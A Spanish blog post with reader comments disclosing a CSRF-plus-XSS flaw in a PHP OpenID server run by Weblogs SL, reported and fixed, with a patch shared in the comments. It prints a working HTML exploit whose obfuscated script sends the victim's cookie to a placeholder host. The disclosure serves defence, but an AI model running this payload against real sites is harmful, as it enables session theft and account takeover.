Problema de seguridad muy grave en el OpenID de Weblogs SL

Seguramente todos conozcáis OpenID, un sistema de identificación digital descentralizado, o dicho de otra forma: una forma de identificarte en una web, si no lo conoces, seguramente te cueste entender este artículo.

OpenID se utiliza en muchos sitios, por ejemplo, cuando pones un comentario en genbeta, necesitas proporcionar una url de OpenID, que sirva para identificarte, si no tienes una, te sugiere que te la crees aquí:

http://openid.blogs.es/

Esa página, te permite identificarte y gestionar la información asociada a tu cuenta OpenID, además, si no tienes una cuenta, puedes crearla ahí mismo.

Como OpenID es descentralizado, cualquiera puede montar su servidor OpenID, como ese que puse arriba, que utilizan en genbeta, y que lo gestiona weblogs sl.

El caso, es que existen muchas implementaciones de OpenID, entre ellas, existe una libre en PHP, alojada aquí. Que como bien dice la propia página, ese software ya no está mantenido, está abandonado.

Sin embargo, en su día fue un script muy popular, y muchos servidores, no solo weblogs sl, sino también openid.es utilizan ese script.

Al ver que estaba tan extendido, decidí auditarlo, me bajé el código, y encontré varios errores MUY graves, seguramente el mas notable es un CSRF, que haciendo una petición POST, nos permite modificar los datos del usuario, sin ningún tipo de número de control o comprobación sobre el referer.

Esto, sumado a que uno de los campos del perfil del usuario, de los que podemos alterar con el CSRF, tiene un bug XSS que nos permite inyectar código, hace que podamos imaginarnos un ataque así:

  1. La victima visita una web
  2. La web crea un iframe invisible, donde se carga un document HTML que hace una petición post al OpenID, pidiendo cambiar su información asociada a su cuenta, en este caso, su nombre, que es el campo que tiene XSS, el que nos permite inyectar código HTML
  3. Se modifica el nombre y apellidos asociado a la cuenta de la víctima, sin que esta vea nada
  4. Se ejecuta el código Javascript inyectado en el campo nombre, redireccionado a la víctima a una web de terceros, y pasando la cookie vía GET, para recogerla en el otro lado

Con esto, podemos robar cualquier cuenta de OpenID (en un servidor que utilice esta implementación vulnerable) solo con que una persona autenticada en OpenID, visite nuestra web.

Como se habla mucho de bugs de este tipo, y nunca se dan ejemplos, me decidí a crear un exploit, un archivo html, que al visitarlo estando logueado en http://openid.blogs.es/, te roba la cookie y la envía a otra web (a http://www.e.com, es una web ficticia), el código es algo así:

<html>
<head>
<script>
function attack() {
//document.location=»http://www.e.com/?c=»+document.cookie;
//encoded
document.getElementById(‘profilename’).value = ‘»><script>eval(String.fromCharCode(100,111,99,117,109,101,
110,116,46,108,111,99,97,116,105,111,110,61,34,104,116,116,
112,58,47,47,119,119,119,46,101,46,99,111,109,47,63,99,61,34,
43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,
59));<\/script>’;
document.forms[0].submit();
}
</script>
</head>
<body onload=»attack();»>
<form method=»POST» action=»http://openid.blogs.es»>
<input type=»hidden» name=»action» value=»account»/>
<input type=»hidden» id=»profilename» name=»profile[fullname]» value=»»/>
</form>
</body>
</html>

Podéis bajarlo en texto plano aquí:

exploit

Sin embargo, al ver la peligrosidad de este agujero de seguridad, decidí contactar con Julio Alonso, de Weblogs SL, quien me pasó con su CTO, un tal «Klaas Naaijkens», le expliqué el problema, le pasé el exploit de demostración, y en un día estaba solventado.

Sin embargo, esa implementación de OpenID tiene aún algunos CSRF peligrosos, pero el bug mas serio ya está parcheado.

Esto me lleva a una pregunta: ¿Es que nadie mas ha auditado nunca el servidor OpenID que utilizan blogs tan importantes como genbeta? Me imagino que no.

Al menos me siento bien, he contribuido a solventar un bug bastante importante, lo único malo, es que el software ya no lo mantiene nadie, y no consigo contactar con el autor, para que haga un parche que puedan utilizar todos los sites que utilicen este software.

Un saludo a Klaas y a Julio, que han sido muy atentos y han solventado el bug muy rapidamente, así que el tiempo desde que encontré la vulnerabilidad, hasta que estubo solventada, fue muy pequeño, ojalá fuese siempre así.

11 Respuestas to “Problema de seguridad muy grave en el OpenID de Weblogs SL”


  1. 1 Kids octubre 23, 2008 a las 1:02 am

    Joder, pues muy interesante el post. Te propongo que le eches un vistazo a este nuevo servicio que ofrece algunas funcionalidades más allá del OpenID de weblogs SL:

    http://galizaid.com/

    La gente como tú es vital en la red. Enhorabuena.

  2. 2 jcarlosn octubre 23, 2008 a las 7:27 am

    Hola kids, gracias por el comentario, no conocía http://galizaid.com/, es bastante interesante, combina OpenID con red social.

    Un saludo.

  3. 3 David Carrero Fdez-Baillo octubre 23, 2008 a las 7:30 am

    Y como lo habéis solucionado, porque no publicáis por revisar nosotros también bien OpenId.es

  4. 4 jcarlosn octubre 23, 2008 a las 8:14 am

    Hola David Carrero, tal como explico en el artículo, el bug es de tipo CSRF únido a XSS, el CSRF es grave, aunque mucho menos que el XSS.

    Se ha solucionado el XSS, no se como han optado por solucionarlo en Weblogs SL, pero cualquiera puede solucionarlo usando http://www.php.net/htmlspecialchars antes de mostrar el los campos del formulario por pantalla.

    Un saludo!

  5. 5 OceanO octubre 23, 2008 a las 8:31 am

    Buen trabajo.
    Se suele usar como argumento de las bondades del software libre la posibilidad de que mucha gente lo revise y encuentre cualquier fallo. Efectivamente, en teoría es así. Pero la diferencia entre teoría y práctica es mayor en la práctica que en la teoría…

  6. 6 Annihilator octubre 23, 2008 a las 11:45 am

    Suerte que esté solucionado. Weblogs lo usan muchos blogs populares, increíble que nadie se haya dado cuenta del fallo antes.

  7. 7 jcarlosn octubre 25, 2008 a las 12:14 pm

    Es cierto OceanO, pero bueno, la gracia del software libre no es si alguien lo audita o no, es que es auditable, aunque ahora mismo no lo haga mucha gente.

    Un saludo.

  8. 8 Sacha Fuentes octubre 26, 2008 a las 3:41 pm

    Por si le sirve a alguien, nosotros hemos solucionado el prolema sustituyendo en el fichero render.php, en la función render_account las lineas

    foreach ($sreg_fields as $field) {
    $profile[$field] = $profile_form[$field];
    }

    por

    foreach ($sreg_fields as $field) {
    $profile[$field] = htmlspecialchars($profile_form[$field]);
    }

    A pesar de eso, sigue quedando el problema de los CSRF, que aun no me ha dado tiempo de mirar.

  9. 9 Sacha Fuentes octubre 26, 2008 a las 3:49 pm

    Por cierto, no conocía tu blog, aprovecho para suscribirme, me gustan los temas que tocas 😉

  10. 10 jcarlosn octubre 26, 2008 a las 6:32 pm

    Hola Sacha Fuentes, gracias por compartir la solución con los demás, y encantado de leerte por aquí 🙂

  11. 11 vierito5 octubre 27, 2008 a las 12:25 am

    Una de las bondades del software libre es que puede ser visto y estudiado por cientos o miles de ojos, luego la realidad es bien distinta. La mayoría de la gente que usa software libre, a pesar de que lo use por ser libre, no coge y se pone a revisar el código de sus aplicaciones favoritas. Por eso es más que habitual que aparezcan bugs que dirías «esto se debería haber encontrado hace mucho!» xD pero bueno, es normal.

    De todas formas, da gusto que comuniques una vulnerabilidad y lo solucionen en un día 😀 chapeau por ellos.

    Muy buen post!!


Replica a Annihilator Cancelar la respuesta